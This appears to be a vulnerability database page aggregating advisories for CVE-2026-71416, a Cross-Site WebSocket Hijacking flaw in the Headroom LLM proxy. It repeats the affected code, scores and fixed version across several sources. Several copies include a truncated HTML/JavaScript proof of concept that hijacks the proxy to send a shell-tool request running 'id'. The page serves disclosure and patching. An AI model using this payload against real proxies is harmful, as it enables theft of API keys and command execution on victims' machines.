CVE-2026-71416
Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)
Headroom compresses data before the data reaches a large language model. Prior to version 0.35.0, the Headroom WebSocket server does not validate the Origin header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the OPENAI_API_KEY environment variable. Version 0.35.0 fixes the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.8
Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)
Headroom compresses data before the data reaches a large language model. Prior to version 0.35.0, the Headroom WebSocket server does not validate the Origin header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the OPENAI_API_KEY environment variable. Version 0.35.0 fixes the issue.
- Record
CVE-2026-71416- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-287, CWE-1385
- Updated
- 2026-11-02
EUVDEUVD-2026-76105
8.8
Headroom compresses data before the data reaches a large language model. Prior to version 0.35.0, the Headroom WebSocket server does not validate the Origin header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the OPENAI_API_KEY environment variable. Version 0.35.0 fixes the issue.
- Record
EUVD-2026-76105- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-h46j-26q3-rggf
8.8
Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)
Summary
The Headroom WebSocket server does not validate the Origin header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the OPENAI_API_KEY environment variable.
Details
The Headroom server defines a WebSocket handler at ws://<headroom_host>:8787/v1/responses in headroom/providers/proxy_routes.py:
@app.websocket("/v1/responses")
async def openai_responses_ws(websocket: WebSocket):
await proxy.handle_openai_responses_ws(websocket)
In the handle_openai_responses_ws() method of the OpenAIHandlerMixin class, the Origin header of the WebSocket client handshake is not checked or verified before calling websocket.accept(), which grants any WebSocket client (including malicious clients) access to the server:
async def handle_openai_responses_ws(self, websocket: WebSocket) -> None:
"""WebSocket proxy for /v1/responses (Codex gpt-5.4+).
Newer Codex versions use WebSocket instead of HTTP POST for the
Responses API. This handler:
1. Accepts the client WebSocket
2. Receives the first message (``response.create`` request)
3. Opens an upstream WebSocket to OpenAI
4. Compresses eligible `response.create` text through the Python
ContentRouter path, then sends the request upstream
5. Relays all subsequent messages bidirectionally
"""
...
# Accept client connection with the requested subprotocol
async with stage_timer.measure("accept"):
if client_subprotocols:
await websocket.accept(subprotocol=client_subprotocols[0])
else:
await websocket.accept()
The malicious WebSocket client does not need to provide authentication headers or API keys as the Authorization header is automatically populated with the OpenAI API key via the OPENAI_API_KEY environment variable, if it has been used to store the API key:
# Ensure Authorization header is present — fall back to OPENAI_API_KEY env var.
# Safety net for clients that don't forward auth headers via WebSocket upgrade.
if "authorization" not in _lower_headers:
api_key = os.environ.get("OPENAI_API_KEY")
if api_key:
upstream_headers["Authorization"] = f"Bearer {api_key}"
logger.debug(f"[{request_id}] WS: injected Authorization from OPENAI_API_KEY env")
else:
logger.warning(
f"[{request_id}] WS: no Authorization header from client and "
f"OPENAI_API_KEY not set — upstream will likely reject"
)
Once the client connection is accepted and authenticated malicious WebSocket clients can perform arbitrary LLM requests to the OpenAI API, including arbitrary instructions/input prompts and tools.
PoC
- Run the Headroom proxy server:
OPENAI_API_KEY=MY_KEY headroom proxy --host 0.0.0.0 - Render the following HTML PoC page in a traditional or headless browser which has access to the Headroom proxy server:
<html>
<body>
<script>
let headroomHost = '192.168.0.106';
let socket = new WebSocket(`ws://${headroomHost}:8787/v1/responses`);
let openAiPayload = {
type: "response.create",
model: "gpt-5.4",
instructions: "The local bash shell environment is on Linux.",
input: "Run the id command for the logged in user",
tools: [{type: "shell", environment: {type: "local"}}]
};
socket.addEventListener("open", (event) => {
let openAiPayloadStr = JSON.stringify(openAiPayload);
console.log(`Sending LLM request:…
- Record
GHSA-h46j-26q3-rggf- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-287, CWE-1385
- Updated
- 2026-11-02
NVD
8.8
Headroom compresses data before the data reaches a large language model. Prior to version 0.35.0, the Headroom WebSocket server does not validate the Origin header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the OPENAI_API_KEY environment variable. Version 0.35.0 fixes the issue.
- Record
CVE-2026-71416- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-287, CWE-1385
- Updated
- 2026-11-02
OSV
8.8
Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)
Headroom compresses data before the data reaches a large language model. Prior to version 0.35.0, the Headroom WebSocket server does not validate the Origin header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the OPENAI_API_KEY environment variable. Version 0.35.0 fixes the issue.
- Record
CVE-2026-71416- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-1385, CWE-287
- Updated
- 2026-11-02
OSVGHSA-h46j-26q3-rggf
8.8
Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)
Summary
The Headroom WebSocket server does not validate the Origin header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the OPENAI_API_KEY environment variable.
Details
The Headroom server defines a WebSocket handler at ws://<headroom_host>:8787/v1/responses in headroom/providers/proxy_routes.py:
@app.websocket("/v1/responses")
async def openai_responses_ws(websocket: WebSocket):
await proxy.handle_openai_responses_ws(websocket)
In the handle_openai_responses_ws() method of the OpenAIHandlerMixin class, the Origin header of the WebSocket client handshake is not checked or verified before calling websocket.accept(), which grants any WebSocket client (including malicious clients) access to the server:
async def handle_openai_responses_ws(self, websocket: WebSocket) -> None:
"""WebSocket proxy for /v1/responses (Codex gpt-5.4+).
Newer Codex versions use WebSocket instead of HTTP POST for the
Responses API. This handler:
1. Accepts the client WebSocket
2. Receives the first message (``response.create`` request)
3. Opens an upstream WebSocket to OpenAI
4. Compresses eligible `response.create` text through the Python
ContentRouter path, then sends the request upstream
5. Relays all subsequent messages bidirectionally
"""
...
# Accept client connection with the requested subprotocol
async with stage_timer.measure("accept"):
if client_subprotocols:
await websocket.accept(subprotocol=client_subprotocols[0])
else:
await websocket.accept()
The malicious WebSocket client does not need to provide authentication headers or API keys as the Authorization header is automatically populated with the OpenAI API key via the OPENAI_API_KEY environment variable, if it has been used to store the API key:
# Ensure Authorization header is present — fall back to OPENAI_API_KEY env var.
# Safety net for clients that don't forward auth headers via WebSocket upgrade.
if "authorization" not in _lower_headers:
api_key = os.environ.get("OPENAI_API_KEY")
if api_key:
upstream_headers["Authorization"] = f"Bearer {api_key}"
logger.debug(f"[{request_id}] WS: injected Authorization from OPENAI_API_KEY env")
else:
logger.warning(
f"[{request_id}] WS: no Authorization header from client and "
f"OPENAI_API_KEY not set — upstream will likely reject"
)
Once the client connection is accepted and authenticated malicious WebSocket clients can perform arbitrary LLM requests to the OpenAI API, including arbitrary instructions/input prompts and tools.
PoC
- Run the Headroom proxy server:
OPENAI_API_KEY=MY_KEY headroom proxy --host 0.0.0.0 - Render the following HTML PoC page in a traditional or headless browser which has access to the Headroom proxy server:
<html>
<body>
<script>
let headroomHost = '192.168.0.106';
let socket = new WebSocket(`ws://${headroomHost}:8787/v1/responses`);
let openAiPayload = {
type: "response.create",
model: "gpt-5.4",
instructions: "The local bash shell environment is on Linux.",
input: "Run the id command for the logged in user",
tools: [{type: "shell", environment: {type: "local"}}]
};
socket.addEventListener("open", (event) => {
let openAiPayloadStr = JSON.stringify(openAiPayload);
console.log(`Sending LLM request:…
- Record
GHSA-h46j-26q3-rggf- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-1385, CWE-287
- Updated
- 2026-11-02
OSVPYSEC-2026-4220
8.8
Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)
Summary
The Headroom WebSocket server does not validate the Origin header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the OPENAI_API_KEY environment variable.
Details
The Headroom server defines a WebSocket handler at ws://<headroom_host>:8787/v1/responses in headroom/providers/proxy_routes.py:
@app.websocket("/v1/responses")
async def openai_responses_ws(websocket: WebSocket):
await proxy.handle_openai_responses_ws(websocket)
In the handle_openai_responses_ws() method of the OpenAIHandlerMixin class, the Origin header of the WebSocket client handshake is not checked or verified before calling websocket.accept(), which grants any WebSocket client (including malicious clients) access to the server:
async def handle_openai_responses_ws(self, websocket: WebSocket) -> None:
"""WebSocket proxy for /v1/responses (Codex gpt-5.4+).
Newer Codex versions use WebSocket instead of HTTP POST for the
Responses API. This handler:
1. Accepts the client WebSocket
2. Receives the first message (``response.create`` request)
3. Opens an upstream WebSocket to OpenAI
4. Compresses eligible `response.create` text through the Python
ContentRouter path, then sends the request upstream
5. Relays all subsequent messages bidirectionally
"""
...
# Accept client connection with the requested subprotocol
async with stage_timer.measure("accept"):
if client_subprotocols:
await websocket.accept(subprotocol=client_subprotocols[0])
else:
await websocket.accept()
The malicious WebSocket client does not need to provide authentication headers or API keys as the Authorization header is automatically populated with the OpenAI API key via the OPENAI_API_KEY environment variable, if it has been used to store the API key:
# Ensure Authorization header is present — fall back to OPENAI_API_KEY env var.
# Safety net for clients that don't forward auth headers via WebSocket upgrade.
if "authorization" not in _lower_headers:
api_key = os.environ.get("OPENAI_API_KEY")
if api_key:
upstream_headers["Authorization"] = f"Bearer {api_key}"
logger.debug(f"[{request_id}] WS: injected Authorization from OPENAI_API_KEY env")
else:
logger.warning(
f"[{request_id}] WS: no Authorization header from client and "
f"OPENAI_API_KEY not set — upstream will likely reject"
)
Once the client connection is accepted and authenticated malicious WebSocket clients can perform arbitrary LLM requests to the OpenAI API, including arbitrary instructions/input prompts and tools.
PoC
- Run the Headroom proxy server:
OPENAI_API_KEY=MY_KEY headroom proxy --host 0.0.0.0 - Render the following HTML PoC page in a traditional or headless browser which has access to the Headroom proxy server:
<html>
<body>
<script>
let headroomHost = '192.168.0.106';
let socket = new WebSocket(`ws://${headroomHost}:8787/v1/responses`);
let openAiPayload = {
type: "response.create",
model: "gpt-5.4",
instructions: "The local bash shell environment is on Linux.",
input: "Run the id command for the logged in user",
tools: [{type: "shell", environment: {type: "local"}}]
};
socket.addEventListener("open", (event) => {
let openAiPayloadStr = JSON.stringify(openAiPayload);
console.log(`Sending LLM request:…
- Record
PYSEC-2026-4220- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
headroom-aiPyPI |
before 0.35.0 | 0.35.0 |
headroom-aiPyPI |
before 0.35.0, plus listed versions 0.10.00.10.10.10.100.10.110.10.12 Show 45 moreShow less0.10.130.10.140.10.150.10.160.10.170.10.180.10.190.10.20.10.30.10.40.10.50.10.60.10.70.10.80.10.90.11.00.12.00.13.00.13.10.13.20.13.30.13.40.13.50.13.60.13.70.13.80.14.00.14.10.14.20.14.30.14.40.14.50.15.00.15.10.16.00.17.00.18.00.18.10.18.20.19.00.2.00.2.10.2.100.2.120.2.13 |
0.35.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-71416 is a high vulnerability (CVSS 8.8) in Headroom Labs Headroom, published September 11, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.17%, the 6th percentile. Fixed in headroom-ai 0.35.0.
References
github.com/headroomlabs-ai/headroom/security/advisories/GHSA-h46j-26q3-rggf
github.com/headroomlabs-ai/headroom/releases/tag/v0.35.0
nvd.nist.gov/vuln/detail/CVE-2026-71416
github.com/headroomlabs-ai/headroom/pull/1481
github.com/headroomlabs-ai/headroom/commit/c632023cc1ec61d15f8f8e86efe3b54d51604a64
github.com/advisories/GHSA-h46j-26q3-rggf
github.com/CVEProject/cvelistV5/tree/main/cves/2026/71xxx/CVE-2026-71416.json
github.com/headroomlabs-ai/headroom
pypi.org/project/headroom-ai
Left out here: 140 versions and the rest of 3 source descriptions. The JSON record has them.